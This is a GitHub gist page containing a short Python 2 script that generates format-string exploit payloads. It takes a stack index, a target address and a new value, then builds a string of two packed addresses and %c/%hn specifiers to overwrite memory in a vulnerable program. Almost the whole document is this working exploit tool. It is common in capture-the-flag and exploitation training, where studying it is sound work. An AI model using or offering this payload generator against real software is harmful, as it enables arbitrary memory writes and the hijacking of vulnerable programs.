Skip to content

Instantly share code, notes, and snippets.

@oaass
Last active August 9, 2021 08:36
Show Gist options
  • Save oaass/6fb5e5e52fa2a5ec95d1 to your computer and use it in GitHub Desktop.
Save oaass/6fb5e5e52fa2a5ec95d1 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
'''
Format string exploitation utility
by: Ole Aass (www.oleaass.com)
This script has one job, which is to overwrite one address with another
This script takes three inputs.
1. Stack index
2. The address that should be overwritten
3. The new address
Usage:
$ python formatstr.py 7 0x08048414 0xdeadbeef
'''
from struct import pack
import sys
def p(x):
return pack('<L', x)
if len(sys.argv) is not 4:
print "[~] usage: %s <index> <address_to_overwrite> <address_to_write>"
exit(0)
index = int(sys.argv[1])
overwrite_addr = int(sys.argv[2],16)
new_addr = sys.argv[3]
hob = new_addr[2:6]
lob = new_addr[6:]
if (int(lob,16) - int(hob,16)) < 0:
lob = '1' + lob
offset_hob = (int(hob,16) - 8)
offset_lob = (int(lob,16) - int(hob,16))
payload = ''
payload += p(overwrite_addr + 2)
payload += p(overwrite_addr)
payload += '%%%dc'%(offset_hob)
payload += '%%%d$hn'%(index)
payload += '%%%dc'%(offset_lob)
payload += '%%%d$hn'%(index+1)
print payload
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment